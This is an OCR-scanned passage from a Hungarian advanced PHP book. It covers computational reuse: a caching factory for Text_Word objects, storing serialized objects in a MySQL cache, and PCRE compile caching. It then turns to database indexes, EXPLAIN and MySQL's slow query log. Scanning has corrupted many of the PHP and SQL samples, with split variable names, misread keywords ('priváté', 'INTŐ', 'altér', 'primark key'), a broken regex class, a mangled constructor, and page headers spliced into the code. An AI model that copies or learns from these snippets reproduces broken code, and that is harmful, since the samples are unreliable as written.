$scratch = $this->mungeWord($this->word); // Szétválasztjuk a szót a magánhangzók (a , e, // esetünkben az. y) mentén $fragments = preg_split("/[^aeiouy]+/" , $scratch); if(!$fragments[0]) { array_shift( $ f ragments);
}

i, o, u és

if(!$fragments[count( $ f ragments) - 1 ] ) array_pop($fragments);
}

{

// mindenképpen tároljuk a szótagszámot a tulajdonságban $this->_numSyllables += $this->countSpecialSyllables($scratch); if(count($fragments)) { $this->_numSyllables += count($fragments);
}

else { $this->numSyllables = 1;
}

return $this->_numSyllables;
} }

Most készítünk egy gyorstárat a Text_Word objektumok számára is. Ezeket az objektumokat előállíthatjuk egy gyártóosztály (factory class) segítségével, melyben egy statikus társításos tömb tartalmazza a Text_Word objektumokat a nevükkel indexelve: require_once "Text/Word.inc"; class CachingFactory { static $objects; public function Word($name)

{

314

PHP fejlesztés felsőfokon

If(iself::$objects[Word][$name]) { Self::$objects[Word][$name] = new Text_Word($name); } return self::$objects[Word][$name]; } }

Ez a megvalósítás, jóllehet tiszta, mégsem marad rejtve, hiszen a hívások eredeti alakja ez: $obj = new Text_Word($name); És ezt erre az alakra kell hozni: $obj = CachingFactory::Word($name); Néha azonban ez az újraépítés komolyabb nehézségekbe ütközik. Ilyenkor dönthetünk egy kevésbé elegáns megoldás mellett, és a gyorstár megvalósítását elhelyezhetjük magában a Text_Word osztályban: class Text_Word { public $word; priváté $_numSyllables = 0; static $syllableCache; function ____ construct($name) { $this->word = $name; If ( !self::$syllableCache[$name]) { self::$syllableCache[$name] = $this->numSyllables();
}

$this->$_numSyllables = self::$syllableCache[$name];
} }

Szó mi szó, ez valódi barkácsmunka. Ezért hát, minél összetettebbé válik a Text_Word osztály, annál nehezebb dolgunk akad ezzel a módszerrel. Mivel eredményünk a kívánt Text_Word objektum egy példánya, ha szeretnénk valami hasznot hajtani a szótagok számának tárolásából, megszámolásukat az objektum konstruktorában kell elvégeznünk. Minél több adatot szeretnénk kapni egy szóról, annál költségesebb lesz a konstruktőr végrehajtása. Képzeljük csak el, mi lenne, ha ábécérendi és szinonimakeresést is be szeretnénk építeni a Text_Word osztályba. Ahhoz, hogy csak egyetlen keresési műveletre legyen szükség, azt előzetesen már a konstruktorban el kell végeznünk. A költségek (mind az erőforrások felhasználásában, mind pedig a bonyolultság terén) hamar felhalmozódnak.

11. fejezet • Számítási újrahasznosítás

315

Mindezekkel szemben, mivel a gyártófüggvény hivatkozást ad vissza az objektumra, csak egyszer kell elvégeznünk az egyes számításokat, emellett azonban nem kell mindent előre kiszámolnunk, amire esetlegesen szükség lehet. A PHP 4-ben lehetőségünk van arra, hogy a gyárat közvetlenül az osztály konstruktorába csempésszük: // PHP 4 kód - nem felel meg a PHP 5-nek $wordcache = array(); function Word($name) { global $wordcache; if(array_key_exists($name, $wordcache)) { $this = $wordcache[$name];
}

else { $this->word = $name; $wordcache[$name] = $this;
} }

A $this átírása nem támogatott a PHP 5-ben, így jobban járunk, ha gyártóosztályt használunk. Ez amúgy is egy jól bevált módszer, és lehetővé teszi, hogy gyorstárunk kódját elválasszuk a Text_Word osztálytól.

Újrahasznosítható adatok tárolása kérelmek között
Gyakran merül fel a kérdés: miként vihetjük át objektumainkat a kérelmek között? Az alapötlet egyszerű: készítsük el az objektumot az egyik kérelemben, szolgáljuk ki a kérelmet, majd a másik kérelemben hivatkozzunk erre az objektumra. Számos Java rendszer alkalmazza ezt a módszert bevásárlókocsik, felhasználói munkamenetek, vagy éppen adatbázis-kapcsolatok fenntartására, de használják olyan lehetőségek megvalósítására is, amelyeknek folyamatosan rendelkezésre kell állniuk egy webkiszolgáló folyamatában vagy egy felhasználó teljes munkamenetében egy webhelyen. E módszer igen elterjedt a Java programozók körében, de (jóllehet talán kisebb mértékben) népszerű a mod_perl fejlesztők közösségében is. Mind a Java, mind a mod_perl egy állandó futásidejű környezetet ágyaz be az Apache kiszolgálóba. Ez a környezet értelmezi és lefordítja a programokat és az oldalakat, ezt követően pedig újra és újra végrehajtja azokat. Úgy is felfoghatjuk ezt, mintha elindítanánk a futásidejű környezetet, majd úgy hajtanánk végre az oldalakat, mintha egy függvényt hívnánk meg egy ciklusba ágyazva (a lefordított példány ismételt hívásával). Amint a 20. fejezetben majd láthatjuk, a PHP nem ezt a módszert követi. Rendelkezik ugyan állandó értelmezővel, de minden kérelem kezdetén tiszta lappal indít.

316

PHP fejlesztés felsőfokon

Ez azt jelenti, hogy bármilyen változót is hozunk létre egy oldalon, az (a teljes szimbólumtáblával együtt) megsemmisül a kérelem végén. Ez történik az alábbi változóval is: <? $string = 'he l l o world'; ?>

Hogyan birkózzunk meg ezzel a problémával? Miként juttassunk át egy objektumot az egyik kérelemből a másikba? A 10. fejezetben láthattunk egy megoldást nagyobb adatmennyiségekre, most azonban apróbb részletekre, köztes adatokra, egyedi objektumokra összpontosítunk. Hogyan tárolhatjuk tehát adatainkat a kérelmek között? Nos, a rövid válasz egyszerűen az, hogy általában nem is igazán szeretnénk tárolni őket. Létezik persze használható módszer - a serialize () függvény segítségével tetszőleges adatszerkezetet (objektumot, tömböt, vagy amit csak akarunk) sorosíthatunk, tárolhatunk, majd később kiolvashatjuk és visszaalakíthatjuk. Van itt azonban néhány apróság, ami kis adatmennyiségnél könnyen elveheti a kedvünket e módszer használatától: • • Az alacsony költséggel elkészíthető objektumok esetében a példányosítás hatékonyabb, mint a sor visszaalakítása. Ha egy objektumnak nagyon sok példánya létezik (így áll a helyzet a Word objektummal, illetve egy webhely felhasználóit leíró objektumokkal), a gyorstár hamar megtelik, és ki kell találnunk valamilyen módszert a sorosított objektumok elavulásának jelzésére. Amint a korábbi fejezetekben már említettük, a gyorstárak összehangolása és érvénytelenítése nehézségeket okozhat elosztott rendszereken.

Mint sok más esetben, most is mérlegelnünk kell: A nagy költségű objektumok példányosítását elkerülhetjük, de ehhez fenn kell tartanunk egy gyorstárat. Ha nem vigyázunk, könnyen megeshet, hogy más, fontosabb adatszerkezetek rovására használjuk ki túlzottan a gyorstárat, de másik végletként az is előfordulhat, hogy nem használjuk ki annyira, hogy megtérüljenek működésének költségei. Vissza kell azonban térnünk eredeti kérdésünkre - hogyan tároljunk egyes objektumokat két kérelem között? Nos, alkalmazhatjuk rá a serialize () függvényt, majd az eredményt tárolhatjuk osztott memóriaszegmensben, adatbázisban, vagy akár fájlban is. A Word osztályban ennek megvalósítására készíthetünk egy kiíró és egy beolvasó tagfüggvényt. Esetünkben a tárolás egy MySQL alapú gyorstárban történik, amellyel egy, a 2. fejezetben bemutatott elvont kapcsolati rétegen keresztül érintkezünk: class Text_Word { require_once 'DB.inc'; // korábbi osztálymeghatározások // . .. function storeO {

11. fejezet • Számítási újrahasznosítás

317

$data = serialize($this); $db = new DB_Mysql_TestDB; $query = "REPLACE INTŐ ObjectCache (objecttype, keyname, data, modified) VALUES('Word', :1, :2, now())"; $db->prepare($query)->execute($this->word, $data); } function retrieve($name) { $db = new DB_Mysql_TestDB; $query = "SELECT data from ObjectCache where objecttype = 'Word' and keyname = :1"; $row = $db->prepare($query)->execute($name)->fetch_assoc() ; if($row) { return unserialize($row[data]); } else { return new Text_Word($name); } } }

Lekérdezési adatok összetűzése

A 2. fejezetben készített elvont adatbázisréteg elintézi helyettünk az adatok soros összefűzését. Ha nem használunk elvonatkoztatási réteget, a mysql_real_escape_string () függvényt kell futtatnunk a serialize() kimenetén.

Ahhoz, hogy új Text_Word változatunkat sikerrel használjuk, el kell döntenünk, mikor tároljuk az objektumot. Mivel a gyorstár szerepe itt a számítási feladatok csökkentése, érdemes az ObjectCache objektumot a numSyllables tagfüggvényben, a számítások elvégzése után frissíteni: function numSyllables() { if($this->_numSyllables) { return $this->_numSyllables;
}

$scratch = $this->mungeWord($this->word); $fragments = preg_split("/[Aaeiouy]+/", $scratch); if(!$fragments[0]) { array_shift($fragments) ;
}

if(!$fragments[count($fragments) array_pop($fragments);
}

- 1])

{

318

PHP fejlesztés felsőfokon

$this->_numSyllables += $this->countSpecialSyllables($scratch); if(count($fragments) ) { $this->_numSyllables += count( $ f ragments); } else { $this->_numSyllables = 1;
}

// tároljuk az objektumot, mielőtt visszaadnánk $this->store(); return $this->_numSyllables;
}

Ahhoz, hogy felhasználjuk a gyorstárban tárolt elemeket, módosítanunk kell a gyártóosztályt úgy, hogy ha belső gyorstárában nem jár sikerrel, keressen a MySQL tárban: class CachingFactory { static $objects; function Word($name) { if(!self::$objects[Word][$name]) { self::$objects[Word][$name] = Text_Word:rretrieve($name);
}

return self::$objects[Word][$name];
} }

A gyorstár fenntartására itt is meglehetősen sok erőfeszítést kell fordítanunk. Az előzőekben látott módosítások mellett szükség van egy olyan környezetre is, amely törli a gyorstár egyes elemeit, ha az megtelt. A telítődés pedig meglehetősen gyorsan bekövetkezhet. Ha megnézünk egy sort a gyorstárban, láthatjuk, hogy egy Word objektum sorosított változata meglehetősen nagy: mysql> select data from ObjectCache where keyname = 'the'; +----+ data +----+ 0:4:"word":2:{s: 4: "word";s:3:"t h e"; s: 13: "_numSyllables";i:0;} +----+ 1 row in set ( 0. 0 1 sec) Ez 61 bájtnyi adatot jelent, aminek a többségét az osztály adatai teszik ki. A PHP 4-ben a helyzet még rosszabb, mivel ez a nyelv nem támogatja a statikus osztályváltozókat, így minden sorosított változatban helyet kaphat a szótagok kivételeinek tömbje. Ezek a csomagok természetüknél fogva szeretnek nagyok lenni, így használatuk gyakran felesleges túlzás.

11. fejezet • Számítási újrahasznosítás

319

A folyamatok közti gyorstárak ilyen használatával meglehetősen nehéz jelentős teljesítménynövekedést elérni. így például a Text_Word osztályban az előzőekben felvázolt gyorstárszerkezet gyakorlatilag nem eredményezett sebességnövekedést. Mindezzel szemben a gyártóosztályt használó módszerrel (saját tesztrendszeremen) durván nyolcszor gyorsabb futást lehetett elérni, amikor a Text_Word objektumok kérelmen belüli újrabevezetésének vettük elejét. Általában tehát jobb elkerülni a kérelmek közti tárolást - ha adattorlódást találunk, keressünk egy átfogóbb megoldást. Csak különösen összetett objektumok és jelentős erőforrásokat felemésztő adatszerkezetek esetén érdemes a folyamatok között kisméretű adatokat megosztani. Egyébként meglehetősen nehéz a folyamatok közti adatcsere költségeit ellensúlyozni.

Számítási újrahasznosítás a PHP-ben
Maga a PHP is több területen alkalmazza a számítási újrahasznosítás módszerét.

PCRE-k
A Peri-megfelelő szabályos kifejezésekhez (Perl Compatible Regular Expression, PCRE) olyan függvények kapcsolódnak, mint a preg_match (), a preg_replace (), a preg_split (), vagy a preg_grep (). A név onnan ered, hogy e kifejezések szerkezete nagymértékben hasonlít a Perl szabályos kifejezéseihez. A PCRE-k nem részei a Perinek, valójában egy teljesen független megfelelőségi könyvtárat alkotnak, melyet Phillip Hazel készített, és amit jelenleg megkapunk a PHP-vel. Érdemes tudnunk, hogy a preg_match vagy a preg_replace működése valójában két lépésből áll, melyek rejtve maradnak a felhasználók előtt. Az első lépés a pcre_compile () függvény hívása (ez a PCRE C könyvtárában található). Ez a függvény a szabályos kifejezés szövegét olyan alakra hozza, ami már érthető a PCRE könyvtár más függvényei számára. A fordítást követően, a második lépésben a pcre_exec () függvénnyel a rendszer megkeresi az egyezéseket (ez a függvény is a PCRE C könyvtárában található). A PHP mindezt elrejti a szemünk elől. A preg_match () végrehajtja a pcre_compile () függvényt, majd tárolja az eredményt, hogy ne kelljen feleslegesen újra futtatni. A PCRE függvények megvalósítása egy bővítményben található, így sokkal jobban ellenőrizheti a hozzá tartozó memóriaterületet, mint a felhasználói PHP kód. Ez lehetővé teszi, hogy e függvények a lefordított szabályos kifejezéseket ne csak egy kérelmen belül, hanem a kérelmek között is tárolják. Hosszú távon ez gyakorlatilag teljesen kiküszöböli a szabályos kifejezések fordítása okozta terhelést. Ez a módszer igencsak hasonlít a korábban a Text_Word objektum kapcsán megismert, gyártóosztály nélküli példához.

320

PHP fejlesztés felsőfokon

Elemszám és hossz Az alábbi kódsorok végrehajtásakor a PHP nem halad végig a $array tömb elemein, megszámolva egyenként az elemeit: $array = array( ' a ' , ' b ' , ' c ' , l , 2 , 3 ) ; $size = count($array); A módszer ennél kifinomultabb — létezik egy belső számláló, melynek értéke minden elem hozzáadásánál eggyel nő, elemek törlésénél pedig csökken. A count () függvény látja a tömb valódi belső szerkezetét, így egyszerűen e számláló értékével tér vissza, a művelet bonyolultsága tehát O(l). Vessük össze ezt azzal, ha végig kellene haladnunk a tömb elemein a számoláshoz - ez nyilvánvalóan egy O(n) művelet. Hasonlóan, ha egy karakterlánchoz rendelünk egy változót (vagy karakterlánccá alakítjuk), a PHP kiszámítja és tárolja a hosszát egy belső változóban. Ha ezek után az strlen () függvényt alkalmazzuk erre a változóra, ezt az előre kiszámított hosszt kapjuk vissza. Ez a tárolás létfontosságú a bináris adatok kezelése szempontjából is, hiszen a háttérben működő strlen () C könyvtárfüggvény (melyet a PHP strlen () függvénye hűen utánoz) a bináris adatok szempontjából nem megbízható.

Bináris adatok

A C-ben nincsenek olyan bonyolult adattípusok, mint a string. Egy C-beli karakterlánc valójában egy ASCII karakterekből álló tömb, melyet a null karakter zár (nem a 0 karakter, hanem a 0 kódú karakter). A C beépített karakterlánc-kezelő függvényei (strlen, strcmp, és mások, melyek közül soknak létezik megfelelője a PHP-ben) akkor gondolják, hogy egy karakterlánc végére értek, ha beleütköznek a null karakterbe. A bináris adatok ugyanakkor teljesen tetszőleges karakterekből állhatnak, köztük null karakterekből is. A PHP nem rendelkezik külön típussal bináris adatok számára, így a PHP karakterláncainak ismerniük kell a hosszukat, hogy az strlen és az strcmp ne akadjon meg a null karaktereken.

További olvasmányok
A számítási újrahasznosítás témakörét a legtöbb egyetemi szintű, algoritmusokról szóló könyv érinti. Thomas Cormen, Charles Leiserson, Ron Rivest és Clifford Stein könyve, az Introduction to Algorithms második kiadása alapkönyv e téren, jól érthető alkoddal írt példákkal. Súlyos tévedés azt hinni, hogy az algoritmus megválasztása nem lényeges egy olyan magasszintű nyelven való programozásnál, mint a PHP. Remélhetőleg e fejezet példái elég meggyőző bizonyítékot szolgáltattak erre.

Elosztott alkalmazások

Adatbázisok használata
A relációs adatbázis-kezelő rendszerek fontos szerepet töltenek be napjaink alkalmazásaiban. Hatékony és általánosan alkalmazható eszközöket biztosítanak a maradandó adatok kezelésére, lehetővé téve ezzel, hogy a fejlesztők többet foglalkozhassanak az alkalmazás valódi feladataival. Jóllehet az adatbázis-kezelők nagy könnyebbséget jelentenek, mégis csak szükség van némi odafigyelésre a használatukhoz. Kódot kell írnunk az alkalmazás és az adatbázis-kezelő közti kapcsolat megvalósítására, alkalmasan meg kell terveznünk az adatok tárolására használt táblákat, továbbá a táblákon alkalmazott lekérdezéseket a lehető leghatékonyabban kell felépítenünk. Az adatbázis-felügyelet önmagában komoly mesterség, de mivel az adatbázis-kezelők szinte mindenütt jelen vannak, minden fejlesztőnek ismernie kell őket annyira, hogy megállapíthassa, melyek a jó és melyek a rossz megoldások.

Néhány fontos kifejezés

Az adatbázis kifejezés alatt általában valamilyen maradandóan tárolt adathalmazt, illetve az ennek kezelésére szolgáló rendszert értik. Az általános tárgyalásban még elfogadhatók ilyen pontatlanul értelmezett fogalmak, de ha a részletekbe kívánunk bocsátkozni, már alaposabb meghatározásokra lesz szükségünk. Lássunk most néhány ilyen, alaposabb meghatározást: adatbázis Maradandó adatok halmaza. adatbázis-kezelő rendszer Olyan rendszer, amely felel az adatok kezeléséért - így felügyeli az adatok elérését, felel a lemezen történő tárolásért stb. relációs adatbázis Adatbázis, amely táblákra épül. relációs adatbázis-kezelő Adatbáziskezelő, amely relációs adatbázist tart fenn. Ilyen rendszerekben a lekérdezések eredményét táblákban kapjuk vissza.

324

PHP fejlesztés felsőfokon

tábla

Adathalmaz, amely két részre osztható: egy fejlécre, amely meghatározza az oszlopok típusát és nevét, valamint nulla vagy több sorra.

Az adatbázisokkal kapcsolatos fogalmak teljes áttekintését megtalálhatjuk a http://www.ocelot.ca/glossary.htm címen.

Az adatbázisok optimalizálása igen fontos feladat, mivel az alkalmazásokban többnyire éppen az adatbázisokkal való együttműködés jelenti a szűk keresztmetszetet. Mielőtt azonban szót ejtenénk a lekérdezések helyes összeállításáról és hangolásáról, érdemes elidőznünk az adatbázis-kezelő rendszerek általános felépítésének vizsgálatánál. Fejezetünkben ezek működését próbáljuk megérteni, a hatékony lekérdezések tervezésének szempontjából. Gyors áttekintést kapunk emellett az adatelérési módokról, megismerve néhány közkedvelt eljárást a PHP adatszerkezeteinek adatbázisba írására. Végezetül megismerkedünk néhány módszerrel, melyekkel felgyorsíthatjuk az adatcserét az adatbázisokkal.

Ismerkedés az adatbázisok és lekérdezések működésével
A relációs adatbázis-kezelők működésének alapja, hogy az adatokat táblákba rendezik. Ezek sorokból állnak, melyeknek meghatározott formátumuk van. Ahhoz, hogy az adatbázisban kereshessünk és kiválaszthassuk a megadott feltételnek megfelelő adatokat, szükség van egy nyelvre, melyen leírhatjuk utasításainkat. Ilyen nyelv természetesen létezik, a neve SQL. Adatbázisunk relációs, hiszen kapcsolatokat (relációkat) határozhatunk meg a különböző táblák mezői között, így az adatokat logikailag elkülönülő táblákba csoportosíthatjuk, melyek különböző összefüggésekben használhatók. A rendszer a táblákat lemezen rögzített fájlok alakjában tárolja. Az alkalmazott adatbáziskezelőtől függően a táblák és a háttérben meghúzódó fájlok között egy-egy, egy-sok (egy-több), illetve sok-sok (több-több) típusú kapcsolat lehet. A táblában szereplő soroknak nincs meghatározott sorrendjük, így ha egyéb szerkezeti adatok nem állnak rendelkezésre, az összes sort meg kell vizsgálnunk, hogy megtaláljuk az adott feltételnek megfelelőket. Ezt hívják teljes táblapásztázásnak vagy teljes táblás keresésnek, ami természetesen meglehetősen lassúvá válik, ahogy a tábla mérete nő. A lekérdezések hatékonyabbá tételére a relációs adatbázis-kezelők indexeket alkalmaznak. Ezek különleges táblák, melyek egy kulcs alapján rendezettek, és megmutatják a sorok kulcs szerinti helyzetét. Az alkalmazott adatszerkezet adatbázis-kezelőnként változó lehet. (Sok esetben az indexelés módját több algoritmus közül magunk választhatjuk ki.)

12. fejezet • Adatbázisok használata

325

A 12.1. ábrán egy adatbázis-keresést láthatunk egy B-fa típusú indexszel. Figyeljük meg, hogy miután megkerestük a kulcs értékét az indexben, azonnal odaugorhatunk a megfelelő sorhoz. Az adatbázisok tábláiban többnyire létezik elsődleges kulcs. Jelen tárgyalás szempontjából ez úgy tekinthető, mint egy index, amely egy vagy több sorra épül. Az index oszlopainak a következő tulajdonságokkal kell rendelkezniük: nem tartalmazhatnak null értéket, és összességükben egyedinek kell lenniük minden sor esetén. Az elsődleges kulcsok természetes módon egyedi indexet adnak, vagyis az index minden kulcsa egyetlen sort azonosít.

12.1. ábra

Keresés B-fa indexszel.

Megjegyzés

Egyes adatbázis-kezelők lehetővé teszik olyan táblatípusok használatát, melyekben az adatokat az index sorrendjében tárolják. Ilyen például az Oracle IOT (Index Organized Table) táblatípusa. Bizonyos adatbázis-kezelők esetében az indexeket építhetjük egy vagy több mező együttesére alkalmazott függvény értékeire is. Ezeket függvény alapú indexeknek nevezzük.

326

PHP fejlesztés felsőfokon

A gyakran használt lekérdezések esetében az indexek alkalmazása jelentős előnyökkel kecsegtet, hiszen meglehetősen felgyorsítják az adatok elérését. Ha azonban lekérdezésünket csak ritkán használjuk, a kifejezetten ehhez létrehozott indexek ronthatják az adatbázis teljesítményét. Ennek oka az, hogy az indexek készítése és fenntartása időt igényel a processzortól és a lemeztől. Különösen igaz ez olyan tábláknál, melyek frissítése gyakori. Mindez azt jelenti, hogy meg kell vizsgálnunk a gyakran használt lekérdezéseket, ellenőrizve, hogy rendelkeznek-e a hatékony működéshez szükséges indexekkel. Szükség esetén ne habozzunk módosítani az indexet vagy a lekérdezést. A vizsgálat módszeréről a későbbiekben, a Lekérdezések vizsgálata az EXPLAIN segítségével című részben szólunk.

Megjegyzés

Fejezetünk további részében, hacsak külön nem jelzünk mást, példáink a MySQL-re épülnek. A legtöbb adatbázis-kezelő némiképp eltér az SQL92-es nyelvi szabványtól, így a kód alkalmazása előtt célszerű ellenőriznünk a nyelvtant rendszerünk leírása alapján.

Lehetőségünk van arra is, hogy több tábla adatait egyszerre érjük el, ha egy közös mezővel összekapcsoljuk azokat. Ilyen esetekben különösen fontos az indexek használata. Vegyük például az alábbi, users névre hallgató táblát:
CREATE TABLE users ( userid int(11) NOT NULL, username varchar(30) default NULL, password varchar(lO) default NULL, firstname varchar(30) default NULL, lastname varchar(30) default NULL, salutation varchar(30) default NULL, countrycode char(2) NOT NULL default 'us' );

Továbbá a countries táblát:
CREATE TABLE countries ( countrycode char(2) default NULL, name varchar(60) default NULL, capital varchar(60) default NULL );

12. fejezet • Adatbázisok használata

327

Most figyeljük meg a következő lekérdezést, amely a felhasználó azonosítója (user ID) alapján kiválasztja a nevet (username) és az országot (country): SELECT username, name FROM users, countries WHERE userid = 1 AND users.countrycode = countries.countrycode; Ha nincsenek indexeink, teljes táblapásztázást kell végeznün a két tábla szorzatán. Ez 100 000 felhasználó és 239 ország esetén 23 900 000 megvizsgálandó sort jelent, ami semmiképpen sem nevezhető kevésnek. A keresés hatékonyabbá tételére indexeket kell készítenünk a táblákhoz. Először is jelöljük ki az elsődleges kulcsokat. A felhasználók esetében a felhasználóazonosító (userid) természetes választás, az országok esetében pedig használhatjuk a kétbetűs ISO országkódot. Feltételezve, hogy elsődleges kulcsaink mezői valóban egyediek, kiadhatjuk az alábbi parancsot a táblák létrehozását követően:
mysql> altér table users add primary key(userid);

De a készítés közben is elvégezhetjük ezt a munkát, az alábbi módon:
CREATE TABLE countries ( countrycode char(2) NOT NULL default 'us', name varchar(60) default NULL, capital varchar(60) default NULL, PRIMARY KEY (countrycode) );

Ha ezek után el szeretnénk végezni a keresést, először keressük meg az index szerint az egyező felhasználóazonosítónak megfelelő sort, majd nézzük meg a kapott felhasználó országkódját, és ez alapján keressük meg az országot a countries táblában. így végül összesen egyetlen sort kellett megvizsgálnunk, ami — lássuk be - számottevő előrelépés a 23,9 millióhoz képest.

Lekérdezések vizsgálata az EXPLAIN segítségével
A lekérdezés mikéntjét az előző példában egyszerűen a józan paraszti ész alapján határoztuk meg. Ezzel a módszerrel az az egyetlen gond, hogy az adatbázis és a felhasználó nem ugyanúgy gondolkodik. Néha a lekérdezés optimalizálásáért felelős eljárás hibázik, de előfordul az is, hogy a felhasználó hoz rossz döntést. Mivel végeredményben az adatbázis hajtja végre a lekérdezést, nyilvánvaló, hogy saját véleménye nyom a legtöbbet a latban e téren. Ráadásul a személyes vizsgálat időt rabló és nehéz feladat, különösen, ha a lekérdezések a bonyolultabbak közül valók.

328

PHP fejlesztés felsőfokon

Szerencsére a legtöbb relációs adatbázis-kezelő rendelkezésünkre bocsátja az EXPLAIN SQL-utasítást, mellyel megvizsgálhatjuk a lekérdezés működésének részleteit. A pontos eredmény változó, attól függően, milyen rendszert használunk, de általánosságban annyi elmondható, hogy megtudhatjuk belőle, mely táblákat kapcsolják össze, mely indexeket használják, valamint milyen költsége van a lekérdezések egyes részeinek (a táblákon belül lekérdezett sorok száma stb.). Vegyünk most egy, a gyakorlati életből származó példát! Korábban az egyik webhelyemen szerepelt egy látogatási tábla, ami a felhasználók látogatásainak számát és legutóbbi látogatásuk idejét tárolta. A tábla így festett:
CREATE TABLE visits ( userid int not null, last_visit timestamp, count int not null default 0, primark key(userid) );

A táblát rendesen a felhasználó bejelentkezésekor értük el, és ilyenkor olvastuk ki a látogatások számát és az utolsó látogatás dátumát (így üdvözlésként kiírhattuk, hogy „Ön legutóbb ....-kor járt nálunk"). Az EXPLAIN az alábbi eredményt adja e lekérdezés kapcsán:

Láthatjuk az elért táblát (visits), a táblák összekapcsolásának típusát (const, mivel ez egy egytáblás lekérdezés, így nem volt szükség összekapcsolásra), a használható kulcsok felsorolását (csak az elsődleges kulcs - PRIMARY - használható), az előző listáról kiválasztott kulcsot, a kulcs hosszát, valamint az eredmény eléréséhez szükséges sorok becsült számát. Ez nyilvánvalóan hatékony lekérdezés, hiszen csak az elsődleges kulcsot vizsgálja. Az alkalmazás fejlődése során eljuthatunk oda, hogy szükségünk lesz az elmúlt 24 óra látogatóinak számára, amit szintén e tábla alapján szeretnénk megkapni. Ezt az alábbi lekérdezéssel kívánjuk elérni:
SELECT count(*) FROM visits WHERE last_visit > NOW() - 86400;

12. fejezet • Adatbázisok használata

329

Az EXPLAIN ez esetben a következő eredményt adja: mysql> explain select count(*) from visits where last_visit > now() - 86400;

Figyeljük meg, hogy lekérdezésünkhöz nem létezik olyan kulcs, amely segítene az eredmény elérésében, így sajnos a teljes táblát át kell vizsgálnunk - ez 511 517 sor összevetését jelenti a WHERE záradékkal. Mindazonáltal a lekérdezés hatékonyabbá tehető, ha készítünk egy indexet a visits táblához. Ezt követően az alábbi eredményt kapjuk: mysql> create index visits_lv on visits(last_visit); Query OK, 511517 rows affected ( 1 0 . 3 0 sec) Records: 511517 Duplicates: 0 Warnings: 0 mysql> explain select count(*) from visits where last_visit > now() - 8 64 00 ;

Új indexünket tehát sikeresen használatba vettük, hatása azonban sajnos korlátozott (mivel naponta rengeteg felhasználó jelentkezik be a webhelyre). Jobb megoldáshoz juthatunk, ha készítünk egy napi számlálótáblát, melyet a felhasználók első aznapi bejelentkezésekor frissítünk (erről a felhasználó visits táblabeli bejegyzéséből értesülhetünk):
CREATE TABLE visit_summary ( day date, count int, primary key(date) ) ;

Melyik lekérdezést javítsuk?
A nagy alkalmazások optimalizálásának legnehezebb része az, amikor a javítandó kódrészleteket keressük. Az adatbázisok esetében sincs ez másképp: Ha több száz vagy több ezer lekérdezéssel állunk szemben, létfontosságú, hogy tudjuk, melyeken érdemes javítani.

330

PHP fejlesztés felsőfokon

Minden relációs adatbázis-kezelő rendelkezik valamilyen módszerrel arra, hogy megtalálja a gondot okozó lekérdezéseket. A MySQL-ben e téren leghasznosabb segítőtársunk a lassú lekérdezések naplója. Használatának beállításához a MySQL beállítási fájljának három részletéhez kell hozzányúlnunk. Az alapszintű naplózást az alábbi beállítással kapcsolhatjuk be:
log-slow-queries = /var/lib/mysql/slow-log

Ha nem adunk meg helyet, a lassú lekérdezések naplója kiszolgálónév-slow. log néven az adatkönyvtár gyökerébe kerül. Az alábbi beállítással azt adhatjuk meg, hány másodperces időtartam felett minősüljön egy lekérdezés lassúnak:
set-variable vagy long_query_time=5 (MySQL 4+) = long_query_time=5 (MySQL 3.x)

Végezetül, ha szeretnénk, hogy a MySQL naplóbejegyzést készítsen minden olyan lekérdezésről, ami nem használ indexeket, állítsuk be az alábbiakat:
log-long-formát (MySQL 3,4.0) Vagy ezt: log-queries-not-using-indexes (MySQL 4.1+)

Mindezek után, ha egy lekérdezés végrehajtása tovább tart, mint a fent megadott idő, illetve nem használ indexeket, az alábbihoz hasonló bejegyzést kapunk:
select UNIX_TIMESTAMP(NOW())-UNIX_TIMESTAMP(MAX(last_visit)) FROM visíts; # User@Host: user[user] @ db.omniti.net [10.0.0.1] # Query_time: 6 Lock_time: 0 Rows_sent: 1 Rows_examined: 511517

Ebből megtudhatjuk, melyik lekérdezés futott, hány másodpercig tartott, hány sort kaptunk vissza, továbbá hány sort kellett megvizsgálnia a feladat elvégzéséhez. Új ügyfeleim webhelyeinek optimalizálásánál első dolgom a lassú lekérdezések naplózásának beállítása. A long_query_time értékét kezdetben általában 10 másodpercben határozom meg, kijavítom a megjelenő lekérdezéseket, csökkentem az időkorlátot, és újrakezdem az egészet. A cél minden komolyabb webhelynél az, hogy ezt az időkorlátot 1

12. fejezet • Adatbázisok használata

331

másodpercre csökkenthessük, és a napló így is üres maradjon (itt feltételezzük, hogy nincsenek adatbányászó lekérdezések, melyek adatbázisunkat fürkészik - ha vannak, hagyjuk figyelmen kívül őket). A napló elemzéséhez nagy segítséget jelent a mysqldumpslow, ami összefoglalja, és könnyen olvasható alakban, rendezetten tárja elénk a lassú lekérdezéseket. A kapott bejegyzések valójában azonos lekérdezések csoportjait jelentik - a lekérdezés kódja mellett megkapjuk a naplóba került bejegyzések számát, az összességében eltöltött időt, és további adatokat. Lássunk egy részletet az eredményből:
Count: 4 Time=0.25s (Is) Lock=0.00s ( O s ) ■ root[root]@localhost SELECT * FROM users LIMIT N Count: 5 Time=0.20s (Is) Lock=0.OOs ( O s ) root[root]Slocalhost SELECT * FROM users Rows=3.5 (14),

Rows=5.0 (25),

Használhatunk kapcsolókat is, melyekkel szabályozhatjuk a lekérdezések rendezését és megjelenítését. Ezekről a mysqlsumpslow --help utasítással kaphatunk felvilágosítást. Az indexeket nem használó lekérdezések naplózása is hasznos lehet, bár jómagam általában nem veszem igénybe ezt a szolgáltatást. Kisebb (néhány száz soros) táblák esetében az adatbázis-kezelő ugyanolyan gyorsan — ha nem gyorsabban - boldogul indexek nélkül, mint azokkal. A log-long- formát bekapcsolása hasznos lehet, ha új környezetbe csöppenünk (vagy ha folyamatosan ellenőrizni szeretnénk az alkalmazásban szereplő SQL kódot), de legtöbbször jobb, ha nem hagyjuk, hogy a sok SQL kód összerondítsa a naplót.

Adatbázis-elérési minták
Ezek a minták adják meg, milyen módokon érintkezhetünk az adatbázis-kezelővel a PHPben. Ez mindenekelőtt azt jelenti, hogy meghatározzák, hol és milyen módon jelennek meg az SQL kódok a programban. A vélemények e téren meglehetősen vegyesek. Az egyik tábor szerint az adatelérés olyannyira alapvető része az alkalmazásnak, hogy az SQL és a PHP kód szabadon és minden korlátozás nélkül összevegyíthető, ha éppen egy lekérdezést kell elvégezni. Másrészről, vannak olyanok is, akik úgy vélik, az SQL kódot minél inkább el kell rejteni a fejlesztők elől, és mindenfajta adatbázis-elérést valamilyen mély elvont rétegbe kell helyeznünk.

332

PHP fejlesztés felsőfokon

